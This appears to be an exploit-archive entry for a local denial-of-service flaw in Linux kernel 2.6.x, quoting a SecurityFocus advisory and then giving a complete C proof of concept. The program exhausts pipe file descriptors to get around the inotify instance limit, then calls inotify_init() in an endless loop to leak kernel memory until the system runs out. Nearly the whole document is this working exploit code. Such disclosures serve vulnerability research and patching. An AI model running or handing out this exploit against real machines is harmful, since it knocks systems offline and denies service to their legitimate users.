Linux Kernel 2.6.x – ‘inotify_init()’ Memory Leak Local Denial of Service
/* source: https://www.securityfocus.com/bid/45036/info The Linux kernel is prone to a local denial-of-service vulnerability. Attackers can exploit this issue to cause an out-of-memory condition, denying service to legitimate users. */ #include <sys/inotify.h> #include <unistd.h> int main(int argc, char *argv[]) { int fds[2]; /* Circumvent max inotify instances limit */ while (pipe(fds) != -1) ; while (1) inotify_init(); return 0; } |